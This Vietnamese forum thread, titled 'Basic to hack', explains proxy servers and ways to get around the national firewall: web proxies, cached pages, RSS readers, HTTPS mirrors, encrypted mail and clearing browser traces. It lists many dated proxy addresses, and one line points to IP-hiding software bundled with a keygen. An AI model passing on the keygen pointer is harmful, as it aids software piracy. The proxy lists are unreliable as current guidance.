+ Reply to Thread
Page 1 of 2 1 2 LastLast
Results 1 to 10 of 12

Thread: Basic to hack

  1. #1
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Cool Basic to hack

    bài 01:
    Căn bản về Proxy

    Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp.
    Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client.
    Vì vậy proxy server giống cầu nối trung gian giữa server và client

    1. Tại Sao Ta Phải Cần Proxy

    Để đáp ứng những nhu cầu của người sử dụng khi cần truy xuất đến những ứng dụng cung cấp bởi internet nhưng vẫn đảm bảo được an toàn cho hệ thống cục bộ. Trong hầu hết những phương pháp được đưa ra để giải quyết điều này là cung cấp một host đơn để truy xuất đến Internet cho tất cả những người sử dụng. Tuy nhiên, phương pháp này không phải là phương pháp giải quyết thỏa mản nhất bởi vì nó tạo cho người sử dụng cảm thấy không thoải mái. Khi truy xuất đến internet thì họ không thể thực hiện những công việc đó một cách trực tiếp, phải login vào hual_homed host, thực hiện tất cả những công việc ở đây, và sau đó bằng cách nào đó chuyển đổi kết quả đạt được của công việc trở lại workstation sỡ hữu.

    Điều này trở nên càng tồi tệ ở những hệ thống với nhiền hệ điều hành khác nhau, Ví dụ: nếu hệ thống là bastion_host nhưng riêng dual_host là unix.
    Khi dual_home host được thiết kế trên mô hình không có proxy, điều đó sẽ khiến cho người sử dụng thêm bực bội và đáng chú ý hơn là giảm đi những tiện ích mà intenet cung cấp, tồi tệ hơn là chúng thường không cung cấp một cách không an toàn và đầy đủ, khi một máy gồm nhiều người sử dụng tất nhiên độ an toàn của nó sẽ giảm, đặt biệt khi cố gắng bắt với vạn vật bên ngoài.

    Proxy server gíup người sử dụng thoải mái hơn và an toàn cho dual homed host, thay thế yêu cầu của người sử dụng bằng cách gián tiến thông qua dual homed host. Hệ thống proxy cho phép tất cả những tương tác nằng dưới một hình thức nào đó. User có cảm giác làm việc trực tiếp với server trên internetmà họ thật sự muốn truy xuất

    Proxy applycation chính là chương trình trên application level, getaway firewall hành động trên hình thức chuyển đổi những yêu cầu người sử dụng thông qua firewall, tiến trình này được thực hiện trình tự như sau:
    * thành lập một kết nối applycation trên firewall.
    * proxy applycation thu nhận thông tin về việc kết nối và yêu cùa của user
    * sử dụng thông tin để xác nhận yêu cầu đó được xác nhận không, nếu chấp nhận proxy sẽ tạo sự kết nối khác từ firewall đến máy đích
    * sau đó thực hiện sự giao tiếp trung gian, truyền dữ liệu qua lại giữa client và server

    Proxy system giải quyết được những rủi ro trên hệ thống bởi tránh user login vào hệ thống và ép buộc thông qua phần mềm điều khiển.


    2.Sự cần thiết của Proxy

    Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là gián tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening router.

    Thực tế proxy hiểu được những nghi thức dưới, nên logging được thực hiện theo hướng hiệu quả đặc biệt, vd: thay vì logging tất cả thông tin thông qua đường truyền, một proxy FPT server chỉ log những lệnh phát ra và server đáp ứng mà nhận được. Kết quả này đơn giản và hửu dụng hơn rất nhiều.

    3.Những điểm yếu của việc dùng Proxy

    Mặc dù phần mềm prory có hiệu quả rộng rải những dịch vụ lâu đời và đơn giàn như FPT và Telnet, những phần mềm mới và ít được sử dụng rộng raãi thì hiếm khi thấy. Thường đó chính là sự chậm trể giữa thời gian xuất xuất hiện một dịch vụ mới và proxy cho dịch vụ đó, khoảng thời gian phụ thuộc vào phương pháp thiết kế proxy cho dịch vụ đó, điều này cho thấy khá khó khăn khi đưa dịch vụ mới vào hệ thống khi chưa có proxy cho nó thì nên đặt bên ngoài firewall, bởi vì nếu đặt bên trong hệ thống thì đó chính là yếu điểm.

    Đôi khi cần một proxy khác nhau cho mỗi nghi thức, bởi vì proxy server phải hiểu nghi thức đó để xác định những gì được phép và không được phép. Để thực hiện nhiệm vụ như là client đến server thật và server thật đến proxy client, sự kết hợp , install và config tất cả những server khác nhau đó có thể rất khó khăn

    Những dịch vụ proxy thường sửa đổi chương trình client, procedure hoặc cả hai. Ngoại trừ một số dịch vụ được thiết kế cho proxying , proxy server yêu cầu sửa đổi với client hoặc procedure, mỗi sự sửa đổi có những bất tiện riêng của nó, không thể luôn luôn sử dụng công cụ có sẵn với những cấu trúc hiện tại của nó

    Proxying dựa vào khà năng chèn vào proxy server giữa server thật và client mà yêu cầu tác động tương đối thẳn thắn cả hai.
    Những dịch vụ proxy không bảo vệ cho hệ thống ứng với những nghi thức kém chất lượng. Như một giải pháp an toàn, proxying dựa vào những khả năng xác định những tác vụ trong nghi thức an toàn. Không phải tất cả các dịch vụ đều cung cấp theo khuynh hướng an toàn này, như nghi thức Xwindows cung cấp khá nhiều những tác vụ không an toàn.


    4.Proxy hiện thực như thế nào

    Những chi tiết trong việc proxying thực hiện như thế nào khác nhau từ dịch vụ này đến dịch vụ khác, khi setup proxying, có một vài dịch vụ thực hiện dể dàng hoặc tự động, nhưng vài dịch vụ có sự chuyển đổi rất khó khăn. Tuy nhiện, trong hầu hết những dịch vụ ngoài yêu cầu những phần mềm proxy server tương ứng, trên client cũng cần phải có những yêu cầu như sau:

    Custum client software: phần mềm loại này phải biết như thế nào để liên kết với proxy server thay server thật khi user yêu cầu và yêu cầu proxy server những gì server thật kết nối đến. Những phần mềm custom client thường chỉ có hiệu quả chỉ một vài platform
    Ví dụ: packet getaway từ Sun là một proxy packet cho FTP và Telnet, nhưng nó chỉ được sử dụng trên hệ thống SUN bởi vì nó cung cấp recompiled Sun binaries

    Mặc dù nếu phần mềm hiệu quả cho platform tương ứng, nó cũng có thể không phải điều mà user mong muốn, vd: Macintosh có hàng chục chương trình FPT client, một trong vài số đó có những giao diện khá ấn tượng với user, những phần khác có những đặc điểm hửu dụng khác. Anarchie là chương trình mà nó kết hợp một archie client và FPT client bên trong chương trình đơn, vì vậy user có thể tìm file với archie và dùng FPT để lất nó, tất cả với giao diện người sử dụng thích hợp, điều này sẽ không may mắn cho chúng ta nếu muốn hổ trợ proxy server.
    Sử dụng những chuyển đổi client cho proxying không dễ dàng thuyết phục user. Trong hầu hết những hệ thống sử dụng client không chuyển đổi những kết nối bên trong và một số chuyển đổi chỉ với những kết nối bên ngoài.

    Custom user procedure: user dùng phần mềm client chuẩn để giao tiếp với proxy server và nó kết nối với server thật, thay thế trực tiếp server thật.

    Proxy server được thiết kế thực thi với phần mềm client chuẩn. Tuy nhiên, chúng yêu cuầ user theo những custom procedure. User trước tiên kết nối với proxy server và sau đó cung cấp proxy server tên host mà nó muốn kết nối đến. Bởi vì một vài nghi thức được thiết để chuyển những thông tin này, user không phải nhớ tên proxy server nhưng củng phải nhớ tên host mà nó muốn giao tiếp.

    Như thế nào để thực hiện công việc này, cần phải nắm được những thủ tục đặc trưng theo sau mỗi nghi thức.

    Ví dụ: với FTP, có thể user muốn nhận một file từ anonymous FTP server, user cần thực hiện những bước sau:
    a. sử dụng bất kỳ FTP client , user kết nối đến proxy server thay thế trực tiếp đến anonumous FTP server.
    b. Tại dấu nhắc user name, trong việc thêm vào tên chỉ định muốn sử dụng, user phải chỉ định tên server thật muốn kết nối


    5.Phân loại các hệ thống proxy

    Dạng kết nối trực tiếp
    Phương pháp đầu tiên được sử dụngtrong kỹ thuật proxy là cho user kết nối trực tiếp đến firewall proxy, sau đó proxy hỏi user cho địa chỉ host hướng đến, đó là một phương pháp brute force sử dụng bởi firewall một cách dể dàng, và đó cũng là nguyên nhân tại sao nó là phương pháp ít thích hợp.

    Trước tiên, yêu cầu user phải biết địa chỉ của firewall, kế tiếp nó yêu cầu user nhập vào hai địa chỉ hai địa chỉ cho mỗi kết nối: địa chỉ của firewall và địa chỉ đích hướng đến. Cuối cùng nó ngăn cản những ứng dụng hoặc những nguyên bản trên máy tính của user điều đó tạo sự kết nối cho user, bởi vì chúng không biết như thế nào điều khiển những yêu cầu đặc biệt cho sự truyền thông với proxy

    Dạng thay đổi client
    Phương pháp kế tiếp sử dụng proxy setup phải thêm vào những ứng dụng tại máy tính của user. User thưc thi những ứng dụng đặc biệt đó với việc tạo ra sự kết nối thông qua firewall. User với ứng dụng đó hành động chỉ như những ứng dụng không sửa đổi. User cho địa chỉ của host hướng tới. Những ứng dụng thêm vào biết địa chỉ firewall từ file config cuc bộ, setup sự kết nối đến ứng dụng proxy trên firewall, và truyền cho nó địa chỉ cung cấp bởi người sử dụng. Phương pháp này rất khó hiệu quả và có khả năng che dấu người sử dụng, tuy nhiên, cần có một ứng dụng client thêm vào cho mỗi dịch vụ mạng là một đặt tính trở ngại.

    6.Proxy "trong suốt" (transparent)


    Một phương pháp phát triển gần đây cho phép truy xuất đến proxy, trong vài hệ thống firewall được biết như proxy vô hình. Trong mô hình này, không cần có những ứng dụng thêm vào với user và không kết nối trực tiếp đến firewall hoặc biết rằng firewall có tồn tại. Sử dụng sự điều khiển đường đi cơ bản, tất cả sự kết nối đến mạng bên ngoài được chỉ đường thông qua firewall. Như những packet nhập vào firewall, tự động chúng được đổi hướng đến proxy đang chờ. Theo hướng này,firewall thực hiện rất tốt việc giả như host đích. Khi kết nối tạo ra firewall proxy , client application nghỉ rằng nó được kết nối đến server thật, nếu được phép, proxy application sau đó thực hiện hàm proxy chuẩn trong việc tạo kết nối thứ hai đến server thật

    Proxy lớp ứng dụng thì đối nghị với proxy lớp circuuit: application_level proxy được thực thi ở lớp ứng dụng. Nó cung cấp cho từng dịch vụ riêng và interpret những dòng lệnh trong nghi thức đó. Một circuit_level proxy tạo nên một circuit giữa server và client không cần phải interpret những nghi thức này. Nói chung, application_level proxy sử dung modified client. Để tạo ra kết nối proxy, phải biết vị trí nào muốn kết nối đến. Một hybrid gateway đơn giản có thể chặn đứng kết nối, nhưng một proxy host chỉ có thể nhận kết nối mà đề nghị với nó, và phải chỉ ra vị trí muốn kết nối. Một application_level proxy có thể nhận thông tin trong từng nghi thức riêng. Một circuit_level proxy không thể interpret theo từng nghi thức và cần phải có thông tin hổ trợ cho nó thông qua một cách nào khác. ưu điểm của circuit_level proxy server là ở đó nó cung cấp cho hầu hết các nghi thức khác nhau , hầu như circuit_level proxy cũng là proxy server chung cho tất cả các dạng nghi thức, tuy nhiên không phải tất cả các nghi thức đều dễ dàng được điều khiển bởi circuit_level proxy , khuyết điểm của circuit_level proxy là nó điều khiển những gì xảy ra thông qua proxy này như là packet filter, nó điều khiển những kết nối cơ bản dựa vào địa chỉ nguồn và địa chỉ đích và không thể xác định những lệnh đi qua nó là an toàn hoặc những sự kiện mà nghi thức đó mong muốn, circuit_level proxy dể dàng bị đánh lừa bởi những server setup lại những cổng gán đến những server khác.

    Proxy chung thì đối nghịch với những proxy chuyên biệt: mặc dù “application_level” và “circuit_level” thường được dùng, nhưng đôi khi cũng phân biệt giữa “dedicated” và “generic” proxy server là server chỉ phục vụ một nghi thức đơn , generic proxy server là server phục vụ cho nhiền nghi thức. Thật ra, dedicated proxy server là application_level, và generic proxy server là circuit_level.

    Intelligent proxy server: một proxy server có thể làm nhiều điều chứkhông phải chỉ chuyễn tiếp những yêu cầu, đó chính là một intelligent proxy server, vd: cern http proxy server caches data, vì vậy nhiều yêu cầu data không ra khỏi hệ thống khi chưa có sự xử lý ccủa proxy server. Proxy server (đặt biệt là application level server) có thể cung cấp login dễ dàng và điều khiển truy xuất tốt hơn, còn circuit proxy thường bị giới hạn bởi những khả năng này

    Using proxying với những dịch vụ internet:vì proxy server chèn vào giữa sự kết nối client và server, nó phải được thích ứng với từng dịch vụ riêng, đội khi một số dịch vụ rất dễ với cách phục vụ bình thường nhưng lại rất khó khi thêm vào proxy

  2. #2
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 02:

    Các kỹ thuật vượt FireWall(tường lửa), lướt web nặc danh và secure mail

    Tường lửa là gì? (phần 1)

    Tường lửa (firewall) là hệ thống phần cứng / phần mềm làm nhiệm vụ ngăn chặn các truy nhập "không mong muốn" từ bên ngoài vào hoặc từ bên trong ra. Tường lửa thường được đặt tại cổng ra / vào giữa hai hệ thống mạng, ví dụ giữa mạng trong nước Việt Nam và mạng quốc tế. Tường lửa thực hiện việc lọc bỏ những truy cập không hợp lệ dựa theo các quy tắc hay chỉ tiêu định trước, ví dụ:

    + Lọc theo địa chỉ IP: Mọi cố gắng truy cập tới địa chỉ IP của các trang www.vidu1.net, www.vidu2.org... đều bị lọc bỏ và trả về thông báo "Page not found" hoặc "The page cannot be displayed".

    + Lọc theo ứng dụng: Mỗi ứng dụng có một cổng (port) riêng, có giá trị từ 0 tới 65535, cho việc truy cập, ví dụ dịch vụ web dùng cổng 80, dịch vụ email dùng cổng 125... Hiện nay ở Việt Nam chỉ có một số cổng ứng dụng chuẩn được mở. Mọi truy cập qua các cổng không tiêu chuẩn đều bị chặn.

    Như vậy, để vượt tường lửa, chúng ta phải làm sao cho gói tin (packet) truy cập tới các trang web / dịch vụ "không được phép" trông giống như gói tin tới từ các trang web / dịch vụ "được phép".

    Proxy là gì?

    Theo định nghĩa đơn giản nhất, proxy là một máy tính trung gian, đứng phía ngoài tường lửa, giúp lấy tin từ các trang web "không được phép" theo yêu cầu và gửi tới người đọc phía sau tường lửa. Nếu địa chỉ IP và cổng mà proxy dùng để gửi thông tin không nằm trong danh sách bị ngăn cản (block) của tường lửa, người đọc sẽ nhận được thông tin, hay nói cách khác là vượt tường lửa thành công.

    Các phương pháp vượt tường lửa:

    1/ Sử dụng proxy server: Trong các trình duyệt đều có chức năng thiết lập proxy. Ví dụ với Internet Explore:

    Bước 1: Chọn Tool > Internet Options > Connections > LAN settings

    Bước 2: Gõ vào ô 'Address' địa chỉ của proxy server muốn dùng và ở ô 'Port' gõ giá trị cổng của proxy server.

    Bước 3: Nhấn OK và thử vào các trang web "bị ngăn cản". Nếu proxy server của bạn hoạt động và không bị chặn, bạn sẽ thấy nội dung của các trang web kia.

    Có rất nhiều proxy server miễn phí trên mạng. Các bạn có thể tìm danh sách này bằng Google với từ khóa "free proxy". Các proxy server được viết dưới dạng:
    Code:
    customer-148-223-48-114.uninet.net.mx:80
    hoặc

    Code:
    163.24.133.117:80
    Trong đó phần trước dấu ":" là địa chỉ, và phần sau đó là cổng. Nên chọn các proxy có cổng "tiêu chuẩn" (ví dụ cổng 80) vì các cổng "không tiêu chuẩn" (ví dụ 3128 hay 8080) có thể bị chặn bởi tường lửa ở Việt Nam.

    2/ Sử dụng web proxy: Có một số trang web cho phép bạn đánh vào địa chỉ web mà mình muốn xem, và trang web đó sẽ đem nội dung về cho bạn. Thuận lợi khi dùng trang web kiểu này là bạn không phải mất công đặt proxy setting như ở cách thứ nhất (ví dụ khi ra hàng internet người ta không cho phép thay đổi setting).

    Có thể tìm ra các trang web kiểu này trên Google với từ khóa "free surf anonymous". Một trang tiêu biểu dạng này là:

    Code:
    http://www.the-cloak.com
    Tuy nhiên rất có thể trang này cũng đã bị đặt vào danh mục cấm của Việt Nam

    3/ Sử dụng các trang web cá nhân: Nếu bạn có bạn bè hay người thân ở nước ngoài, những người này có thể thiết lập các trang web cá nhân có gắn nội dung các trang "bị ngăn cản" theo kiểu Inline frame. Như vậy, bạn có thể đọc trang web cấm bằng cách tới xem các trang web cá nhân của bạn bè hay người thân của mình ở nước ngoài.

    Ví dụ, các bạn trong nước có thể thử đọc bài từ Mạng Ý kiến ở đây:

    Code:
    http://www.vidu.dk/files/misc/ykien.html
    Mã HTML để thực hiện điều này ở đây:

    Code:
    http://www.vidu.dk/files/misc/ykien.html.txt
    Hãy xóa đuôi txt và upload lên trang web của mình ở nước ngoài, thay địa chỉ "http://vidu.net" bằng địa chỉ trang web mà bạn muốn hiển thị.

    Phương pháp này có nhược điểm là trình duyệt của người xem phải hỗ trợ Inline Frame. Tuy nhiên Internet Explorer và Firefox đều hỗ trợ tính năng này.

    4/ Vượt tường lửa bằng công cụ của Google: Google cung cấp phương tiện chuyển ngữ trang Web (Translation service), rất tiện cho việc vượt tường lửa. Chỉ cần thay địa chỉ trang cần tới vào địa chỉ "vidu.dk" ở dòng lệnh dưới đây, các bạn có thể xem trang web đó dù nó đã bị firewall:

    Code:

    Code:
    http://www.google.com/translate?langpair=en|en&u=www.vidu.dk

    Nên dùng proxy lấy ở đây :

    Code:
    http://www.proxy4free.com/index.html
    Hoặc vào trang này :
    Code:
    http://anonymouse.org/anonwww.html



    Lấy phần mềm này:
    Code:
     http://anon.inf.tu-dresden.de/index_en.html
    khi dùng thì mở trương trình đó lên trước sau đó trong IE chẳng hạn : Chọn Tool > Internet Options > Connections > LAN settings . Address gõ 127.0.0.1 port là 4001 . Cái này free mà chạy rất nhanh , một sản phẩm của Đức dành cho các bạn VN , nếu ai không dành cứ hỏi tui hoặc vào trang web (ở trên ) đó nó nói rất cụ thể . cái này dịch vụ intrenet mà dùng thì quá ngon .



    Hide.IP.Platinum.v2.7

    Lấy phần mềm Hide .IP.platinum 1.73 này dùng :
    download , có cả keygen kèm theo
    Code:
    http://www.hide-ip-soft.com/


    Ngoài ra có thể dùng GhostSurf Platinum 2006







    Các kỹ thuật vượt bức tường lửa(Phần 2)

    Có một số cách để vượt khỏi bức tường lửa của Việt Nam. Đa số các cách nằm trong bốn loại sau đây : 1) giấu tung tích của địa chỉ, 2) dùng những trang đã được lưu trữ sẵn, 3) dùng máy điện toán của người khác làm điểm truy cập thay vì điểm proxy của Hà Nội, và loại chót, 4) dùng dịch vụ của công ty chuyển thư WebMailer.

    Tóm tắt những cách vượt bức tường lửa:

    Giấu tung tích của địa chỉ muốn tới

    Đây là cách nhanh nhất để truy cập những trang bị cấm. Có nhiều trang trên mạng internet giúp chúng ta giấu địa chỉ truy cập để qua mắt được Hà Nội. Giả thử bạn muốn truy cập trang nào đó, bạn sẽ chẳng thấy gì trên màn hình bởi trang này bị bức tường lửa chặn. Nhưng khi muốn giấu tung tích của nơi bạn muốn tới, trang www.anonymizer.com sẽ giúp bạn. Từ ngay trong trang www.anonymizer.com, bạn có thể đánh vào địa chỉ trang www của minh muốn tới để giấu tung tích. Khi địa chỉ www đó đã bị dấu, điểm proxy ở Hà Nội sẽ không chặn được.

    Nhưng, bạn có thấy một điểm nhỏ cần chú ý không? Người ta cũng có thể chặn không cho chúng ta truy cập www.anonymizer.com. Họ có thể cho www.anonymizer.com vào danh sách đen, vì vậy, không thể truy cập trang internet này ở Việt Nam nữa. Sau đây là danh sách của một số trang internet cũng có chức năng giống như www.anonymizer.com. Một số đã bị vô sổ đen của họ:
    Code:
    http://www.anonymizer.com , http://www.phantomip.com, https://proxy1.autistici.org/, http://www.the-cloak.com/login.html, http://www.guardster.com/
    Ngoài những trang này ra, bạn có thể vào trang www.google.com và đánh vào chữ web anonymizer hoặc web mailers để tìm thêm những trang tương tự. Mong bạn có thể tìm thấy những trang chưa hân hạnh được liệt vào sổ đen bức tường lửa của nhà nước.

    Dùng những trang đã được lưu trữ sẵn


    Những trang được lưu trữ cũng giống như một cuốn sách lịch sử. Dịch vụ lưu trữ những trang internet được miễn phí tại các địa chỉ sau đây: www.archive.orgwww.google.com. Cũng giống như phần trên, khi bạn truy cập www.archive.org, bức tường lửa sẽ không biết bạn đang truy cập những gì. www.archive.org rất dễ xài, bạn chỉ việc vào đó và đánh tên địa chỉ mình muốn tới, bạn sẽ thấy trang www đó được lưu trữ. Dịch vụ lưu trữ này thường không cho ta thấy trang internet trực tiếp nhưng cho ta thấy trang này trong tình trạng được lưu trữ, có thể đã cũ một vài tuần hoặc vài tháng. Còn www.google.com thì cũng một phần tương tự. Google cũng lưu trữ toàn thể các trang của internet. Thí dụ để coi trang www nào đó, bạn truy cập trang www.google.com và đánh địa chỉ www mình muốn, Google sẽ hiện ra những gì kiếm được, bạn chỉ bấm vô "Show Google's cache of www của mình" thì sẽ thấy được trang lưu trữ cách đây vài tháng.

    Dùng máy điện toán khác để tránh điểm proxy của Hà Nội

    Bây giờ bạn hãy tưởng tượng nếu chúng ta dùng một loại kỹ thuật mới tránh né proxy của Hà Nội. Điều gì sẽ xảy ra nếu chúng ta nối cả triệu máy điện toán cá nhân trên thế giới lại? Câu trả lời như sau: Nối hàng triệu máy điện toán cá nhân của tất cả thế giới tự do là mục đích của hai chương trình Peekabooty và Six/Four . Khi bạn ra lệnh truy cập www của mình, thì điểm proxy của Hà Nội sẽ phải gửi lệnh tới một trong hàng triệu máy điện toán cá nhân. Một máy cá nhân này sẽ lập tức giúp và gửi lệnh cho bạn xem nội dung của www của mình đó. Proxy của Hà Nội sẽ tưởng rằng địa chỉ của máy cá nhân này là địa chỉ vô hại. Đây là điều rất khó cấm đoán. Thứ nhất, đây là tập hợp của hàng triệu máy điện toán và địa chỉ của mỗi máy (IP address) đổi từng giây từng phút, không thể kiểm soát nổi. Thứ hai, cả triệu máy điện toán được tập hợp của toàn thế giới, VN sẽ phải bó tay vì không thể biết hết ai là ai. Vấn đề này y hệt như những gì đã sảy ra cho kỹ nghệ âm nhạc và phim của Hoa Kỳ, khi các chương trình nổi tiếng như Napster, Kazaar, AudioGalaxy, Morpheus, và iMesh đã dùng hàng triệu máy trên thế giới để trao đổi dữ liệu nhạc và phim. Hai chương trình Peekabooty ( www.peek-a-booty.org ) và Six/Four ( www.hacktivismo.com ) đã được ra đời trong năm 2002. Bạn hãy theo dõi và thu thập.

    Trang internet nằm trong Thư Điện Tử - Webmailer

    Kỹ thuật thư điện tử này rất khác với 3 cách trên. Thư điện tử sẽ giúp bạn coi trang internet bị cấm trong thư email của bạn. Dùng một địa chỉ điện thư miễn phí như Yahoo hoặc Hotmail, bạn ghi địa chỉ muốn coi vô phần Subject: và gửi tới một địa chỉ dịch vụ internet miễn phí www.web2mail.com. Sau đó, dịch vụ này sẽ gửi trang internet mà bạn muốn coi tới hộp thư điện tử của bạn. Người khác không thể kiểm soát nổi cách này vì không thể nào chặn được hộp thư miễn phí của Yahoo hoặc Hotmail. Với dịch vụ này, bảo đảm bạn sẽ được coi các trang bị bức tường lửa cấm, nhưng bạn phải kiên nhẫn đợi cho dịch vụ gửi lại trang internet, có thể đợi 10 phút hoặc một ngày sau.









    Những mánh khoé sử dụng Internet (phần 3)

    Vì vậy, các bạn nên dùng địa chỉ như Hotmail hoặc Yahoo. Vì không ai có thể chặn những dịch vụ hộp thư điện tử miễn phí này (thư của bạn có thể bị người khác mở ra đọc). Khi tôi sử dụng Yahoo hoặc Hotmail, người khác không đọc được hộp thư của tôi? Sai, tất cả giao thông của xa lộ internet vào Việt Nam phải qua cổng Hà Nội. Yahoo và Hotmail không mã hóa làn thông tin email. Vì vậy có người có thể mở thấy được thư của bạn. Để an toàn, bạn có thể làm một hộp thư dùng riêng nhưng không có tin tức thật về bạn.

    Như vậy có cách nào để không ai đọc được thư điện tử của tôi không?

    Nếu bạn không muốn ai đọc email của bạn, bạn hãy sử dụng kỹ thuật mã hóa gọi là encryption. PGP Encryption ( www.pgpi.org ) sẽ giúp bạn sử dụng kỹ thuật này nếu xài đúng cách. Nhưng trang internet này cũng hơi khó sử dụng. Cho nên cách thứ 2 là tới trang www.hushmail.com để đăng ký sử dụng. Cách này an toàn khi cả hai, người gửi lẫn người nhận, đều dùng www.hushmail.com.

    Làm sao đây? Tôi muốn tẩy xóa dấu vết của tôi sau khi xài internet tại quán café? Đúng vậy, bạn có thể tẩy xóa dấu vết của bạn khi đã xài internet khi bạn dùng Internet Explorer. Để cho người quản lý khỏi được quyền quản lí quyền tự do của bạn, hãy bấm vô chữ Tools / Internet Options. Bấm vô nút "Delete all offline content" và sau đó, "Delete Files", rồi "OK". Nếu thấy nút "Delete Cookies" hãy bấm vô nút đó luôn. Sau đó, bấm vô "Settings" rồi bấm vô "View Files". Nếu mà còn một số file trong đây, bạn bấm Ctrl-A để chọn tất cả rồi bấm nút Delete trên bàn phím. Như vậy bạn đã xóa đi rất nhiều vết chân lang thang trên internet. Cho chắc ăn, bạn cũng có thể bấm nút "Clear History" và bấm "OK". Bây giờ, bấm vô nút "Content" và sau đó vô nút "AutoComplete". Sau đó bấm vô nút "Clear Forms" và "Clear Passwords" để xóa tất cả mọi ô mật mã. Chúc may mắn.

    Còn tự gửi địa chỉ của những trang internet bị cấm đến với hộp thư Yahoo hoặc Hotmail của chính tôi. Làm như vậy thì lệnh truy cập của tôi qua Yahoo hoặc Hotmail chứ không phải proxy Hà Nội phải không? Sai. Nhưng đây là ý rất hay. Khi tác giả thử phương pháp này tại Việt Nam, phương pháp đã không hiệu nghiệm. Lý do là sao? Bởi vì proxy Hà Nội cũng có thể đánh hơi được nội dung của trang internet và bức tường lửa sẽ hoạt động trở lại.

    Khi dùng những chương trình chat như AOL Instant Messeger (AIM) hoặc mIRC, nhà nước không kiểm soát nổi? Sai. Nhà nước không có chặn khi bạn chat, nhưng có thể thấy những gì bạn viết.

    Nhiều quán internet café dựng nên một trang chính giúp bạn truy cập những trang như Hotmail và Yahoo cho nhanh chóng. Nguy hiểm không? Vấn đề là, những trang chính có thể giữ lại tên và mật mã của bạn, nên họ có thể vô lại hộp thư điện tử của bạn. Nên coi chừng.







    Các bác vô trang Findnot.com mà mua phần mềm đổi IP về, nghe nói thằng này vượt qua 2CO đó. Kô khuyến khích chơi đồ chùa nhưng để giấu IP thì trang này được lắm. Link của phần mềm http://findnot.com/FindNot.pbk các bác phải có tài khoản thì mới sử dụng được.

    ============================

    Một số trang web có danh sách proxy:

    Code:
    - http://nntime.com/proxy/info/ 
    
    - http://www.samair.ru/proxy/ 
    
    - http://www.publicproxyservers.com/index.html
    
    http://www.freeproxy.ru/en/free_proxy/faq/proxy_anonymity.htm





    GiảI pháp RSS (phần 4)



    Và đây là 1 số giải pháp của trang web Vidu giúp bạn đọc trong nước vượt tường lửa: sử dụng kỹ thuật RSS (Really Simple Syndication), một kỹ thuật trao đổi thông tin nhanh trên Internet, với địa chỉ có nhúng sẳn địa chỉ của những proxy mới. Sau đó nối RSS vào Google, Yahoo, hay bất cứ một trang web có dịch vụ đọc tin RSS nào. Trách nhiệm tìm kiếm proxy sẽ thuộc về trang Vidu. Bạn đọc vào Google, Yahoo để đọc trang web Vidu.

    1. Với Google

    Gõ, hoặc cát dán, vào duyệt trình IE địa chỉ sau:

    Code:

    Code:
    http://www.google.com/reader/preview/*/feed/http://Vidu.com/rss



    Trên duyệt trình IE, bạn đọc sẽ thấy hiện lên một mục lục của những bài viết mới nhất trên DCVOnline. Khi bấm lên những tựa đề trong mục lục này, bạn đọc sẽ tự động được dẫn đến trang web qua một proxy đã nhúng sẵn trong các links.



    2. Với Yahoo

    Tương tự, gõ, hoặc cắt dán, vào duyệt trình IE địa chỉ:

    Code:

    Code:
    http://add.my.yahoo.com/rss?url=http://Vidu.com/rss





    3. Ngoài ra, bạn đọc có thể dùng địa chỉ RSS của trang Vidu, http://vidu.com/rss, với các trang web có dịch vụ đọc tin RSS thông dụng như MSN (www.msn.com), Bloglines (www.bloglines.com ), v.v…

    Các proxy có thể bị tường lửa ngăn chặn và phải thay đổi nhưng các địa chỉ đến Vidu qua Google hoặc Yahoo ở trên sẽ không thay đổi. Điều bất tiện còn lại là bạn đọc phải “thuộc lòng” các địa chỉ này. Cách tiện lợi nhất để ghi nhớ các địa chỉ này là bằng cách bấm lên “Favorites”, “Add to Favorites” trên IE để đưa các địa chỉ này vào danh sách những website ưa thích của mình.







    Proxy https (phần 5)



    nay em xin trình bày một phương pháp vượt tường lửa nhanh, rẻ và an toàn mà em vẫn thường sử dụng. Nhanh vì không phải cấu hình lằng nhằng, rẻ vì miễn phí, an toàn vì có mã hoá: đó là proxy https.
    đây là một số Https ổn định nhất, nếu trong khi dùng mà bị gián đoạn thì chuyển sang cái tiếp theo, nhưng nói chung trường hợp này hãn hữu:

    Code:
    https://tong.ziyoulonglive.com/dmirror/ 
    https://www.bejing163.com/dmirror/ 
    https://w8.coopsdomain.com/dmirror/
    Còn đây là một số proxy vét đĩa:

    Code:
    https://www1.chao168.com/dmirror/ 
    https://w8.db-systems.nl/dmirror/ 
    https://w8.ccnwebsite.com/dmirror/ 
    https://u1.horizonnewspaper.com/dmirror/ 
    https://u1.craigsmusichut.com/dmirror/ 
    https://www1.way2005.org/dmirror/ 
    https://www1.yun2005.net/dmirror/ 
    https://w8.clasa.net/dmirror/ 
    https://w8.coteyr.net/dmirror/ 
    https://u1.seeneed.com/dmirror/ 
    https://w8.clell.com/dmirror/ 
    https://w8.chickenkiller.com/dmirror/
    Bi giờ em thí dụ là trang www.vidu.net bị firewall chẳng hạn, các bác lưu ý: địa chỉ đầy đủ của nó là http://www.vidu.net nhá

    Muốn xem trang đó thì chỉ cần:
    -Chọn lấy một proxy, vd
    Code:
     https://tong.ziyoulonglive.com/dmirror/
    -Thay http:// thành http/ để http://www.vidu.net biến thành http/www.vidu.net
    -Dán vào proxy, trở thành

    Code:

    Code:
